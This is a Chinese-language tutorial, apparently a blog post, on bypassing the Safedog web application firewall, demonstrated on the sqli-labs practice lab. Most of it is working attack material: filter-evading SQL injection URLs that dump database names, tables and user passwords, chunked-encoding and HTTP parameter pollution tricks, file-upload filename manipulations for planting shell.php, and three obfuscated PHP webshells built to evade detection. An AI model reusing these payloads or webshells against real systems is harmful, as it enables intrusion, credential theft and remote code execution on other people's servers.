安全狗绕过
环境介绍
系统版本:win7
安全狗版本:4.0.28330
测试的靶场:sqlilabs
开始测试
最开始我们使用最初默认的配置规则来进行测试,我们使用的是sqllab的第二关数字型注入,不过字符型注入同样使用这种方法绕过。
and 1=1
我们打开sqllabs的第二关,我们输入and 1=1
尝试访问,被拦截:
然后我们使用ord函数,ORD() 函数返回字符串第一个字符的ASCII值。
我们首先需要知道ord(0x0)和ord(0x1)返回的值:
知道了这些之后我们我们可以用函数来代替1=1
进行测试
http://192.168.252.147/sqli-labs/Less-2/?id=1 and ord(0x1) --+
order by
首先我们输入order by 3--+
来进行测试,被拦截
我们这里在order by之前添加无效的字符然后使用%0a来换行
http://192.168.252.147/sqli-labs/Less-2/?id=1 order /*|--|*/--+%20%0aby 3 --+
union select
我们用union select 1,2,3--+
来进行测试,被拦截
我们使用内联注释加空语句加注释加换行来进行测试绕过
http://192.168.252.147/sqli-labs/Less-2/?id=-1 /*!union*/ /*!*/ --+1%0aselect 1,2,3 --+
数据查询
查询数据库:
http://192.168.252.147/sqli-labs/Less-2/?id=-1 /*!union*//*!*/--+1%0A%0ASELECT 1,2,group_concat(/*!schema_name*/) /*!from*/ information_schema.schemata--+*/%23
查询数据表:
http://192.168.252.147/sqli-labs/Less-2/?id=-1 /*!union*//*!*/--+1%0A%0ASELECT 1,2,group_concat(/*!table_name*/) /*!from*/ information_schema.tables where table_schema=0x7365637572697479--+*/%23
查字段名:
http://192.168.252.147/sqli-labs/Less-2/?id=-1 /*!union*//*!*/--+1%0A%0ASELECT 1,2,group_concat(/*!column_name*/) /*!from*/ information_schema.columns where table_name=0x7573657273--+*/%23
查数据:
http://192.168.252.147/sqli-labs/Less-2/?id=-1 /*!union*//*!*/--+1%0A%0ASELECT 1,2,group_concat(/*!username,password*/) /*!from*/ users--+*/%23
方法二:
http://192.168.252.147/sqli-labs/Less-2/?id=-1 union%23a%0Aselect1,2,3#
这里%23是注释符号,%0a是换行,所以注释以后换了行,后面的select还是可以使用的,而且union和select还没有连在一起绕过检测。
方法三:
?id=1/**&id=-1%20union%20select%201,2,3%23*/
安全狗匹配的时候匹配的是1/**-1 union select 1,2,3#*/或1/**&id=-1%20union%20select%201,2,3%23*/其中符号起到注释作用,正常情况下没有执行,安全直接忽略,但是参数污染导致接收的真实数据是-1 union select 1,2,3#*/,所以能正常执行sql语句。
POST格式提交绕过
在post绕过汇总,有一种是将数据进行分块传输的方式,如果需要使用这种方式,我们需要在http头中添加一个参数:Transfer-Encoding: chunked
,然后我们将需要传输的数据进行分段来传输。
正常情况下,我们使用POST提交如下内容会被拦截
passwd=1&uname=admin' order by 2#
当我们使用分段传输的时候,就可以轻松绕过:
首先我们需要在http头中添加字段Transfer-Encoding: chunked
,然后分块传输数据,格式如下:
2
pa
3
ssw
1
d
3
=1&
1
u
2
na
2
me
3
=ad
1
.....
为了省空间,部分内容省略了,原理就是最开始先写下一行中索要post传递参数字符的个数,然后在下一行中写入指定个数的字符,最终会将这些字符分块传输然后组合成一个整体,从而绕waf。
不过手工来写比较麻烦,我们可以使用一个burp的插件,可以自动帮我们转换成分块传出的格式,而且会自动做混淆,下载地址:https://pan.baidu.com/s/1DjowDbdK2Eler26hhBIG2A 提取码:5vhg
。
添加到burp中后,使用位置如下:
其中Encoding是转换为分块传输格式,Decoding是转换为原来的格式,Config可以配置分块传输每一块的长度等。效果如下:
其中数字后面的分号为注释符号,接着是来及数据,是为了防止正常分块传输也被拦截。
上传绕过
首先我们测试上传一个php文件,直接进行了拦截,当我们对文件名换行,即可成功上传。
我们还可以在这里地方做文章,我们让filename后面的单个等号写为两个,可以绕过:
接着我们这次写两个filename将第一个和第二个用分号隔开filename;filename=shell.php
我们还可以用垃圾字符填充文件名,当填充的垃圾字符个数超过9000多个的时候,就可以绕过
上传绕过中,不但上传的时候需要绕过,还有我们的webshell也需可以绕过才可以,下面我们给出三个可以绕过的小马:
NO.1
<?php
$a = substr('1a',1).'s'.'s'.'e'.'r'.'t';
$a($_POST['x']);
?>
NO.2
<?php
$a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$a($c['x']);
?>
NO.3
<?php
function test($a,$b){
array_map($a,$b);
}
test(assert,array($_POST['cmd']));
?>